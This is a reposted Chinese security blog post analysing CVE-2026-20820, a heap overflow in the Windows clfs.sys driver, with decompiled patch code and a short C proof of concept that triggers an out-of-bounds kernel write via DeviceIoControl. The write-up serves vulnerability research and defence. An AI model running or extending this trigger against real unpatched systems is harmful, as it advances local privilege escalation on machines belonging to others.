文章总结: 本文分析了CVE-2026-20820,即Windowsclfs.sys驱动中的堆溢出漏洞,允许本地提权。通过补丁比对发现,根因在于CClfsRequest::ScanContainers函数计算内存时遗漏了0x38字节头部,导致分配不足。微软增加了溢出检查进行修复。文章提供了触发该溢出的POC代码,展示了如何利用DeviceIoControl造成越界写入,对内核安全研究具有参考价值。 综合评分: 88 文章分类: 漏洞分析,二进制安全,漏洞POC,漏洞预警
CVE-2026-20820 clfs.sys堆溢出
原创
毕方安全实验室 毕方安全实验室
BeFun安全实验室
2026年2月4日 10:39 四川
概述
微软1月修复了一个clfs(通用日志文件系统,Common Log File System)的堆溢出,描述为:
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
补丁分析
通过补丁比对我们很容易定位到补丁,漏洞位于CClfsRequest::ScanContainers函数,添加了如下检查:
TotalSize = 0x240 * ContainerCount;
TempSize = -1;
SafeTotalSize = -1;
if ( (unsigned __int64)(0x240 * ContainerCount) <= 0xFFFFFFFF )
SafeTotalSize = 0x240 * ContainerCount; // Check for integer overflow: 576 * ContainerCount
status = TotalSize > 0xFFFFFFFF ? 0xC0000095 : 0;
if ( TotalSize > 0xFFFFFFFF )
goto LABEL_15;
// 补丁
if ( (unsignedint)Feature_2816432440__private_IsEnabledDeviceUsageNoInline() )
{
CheckSize = SafeTotalSize;
NextSize = SafeTotalSize + 0x38;
if ( SafeTotalSize + 0x38 >= SafeTotalSize )
TempSize = SafeTotalSize + 0x38;
SafeTotalSize = TempSize;
status = NextSize < CheckSize ? 0xC0000095 : 0;
if ( NextSize < CheckSize )
goto LABEL_15;
}
if ( SafeTotalSize > pIrpSp->Parameters.Read.Length )
{
LABEL_2:
status = 0xC0000206;
goto LABEL_33;
}
简单来说,程序在获取 Containers 的 size 的时候,只算了 Container 本身的大小(0x240 * ContainerCount),少算了一个头部(0x38),导致在后面少算了0x38字节,造成堆溢出。
POC
需要绕过几个检查,可以直接在windbg里调试然后看对应字段。
HANDLE hLog = CreateLogFile(L"LOG:C:\\ClfsPoc\\minpoc", GENERIC_READ | GENERIC_WRITE, 7, NULL, 4, 0);
ULONGLONG cb = 1024 * 1024;
AddLogContainer(hLog, &cb, (LPWSTR)L"C:\\ClfsPoc\\mincont", NULL);
SYSTEM_INFO si;
GetSystemInfo(&si);
char* pages = (char*)VirtualAlloc(NULL, si.dwPageSize * 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Buffer at end of Page 1 (Size 576)
char* buf = pages + si.dwPageSize - 576;
memset(buf, 0, 576);
// Set Payload
*(unsignedint*)(buf + 24) = 1; // ContainerCount
*(unsignedchar*)(buf + 40) = 0x16; // Flags (Scan | ... | 0x10)
*(unsigned __int64*)(buf + 48) = 1; // Magic Non-Zero Check
// Trigger OOB Write (Output Buffer)
DeviceIoControl(hLog, 0x80076816, NULL, 0, buf, 576, &br, NULL);
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:BeFun安全实验室 毕方安全实验室 毕方安全实验室《CVE-2026-20820 clfs.sys堆溢出》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论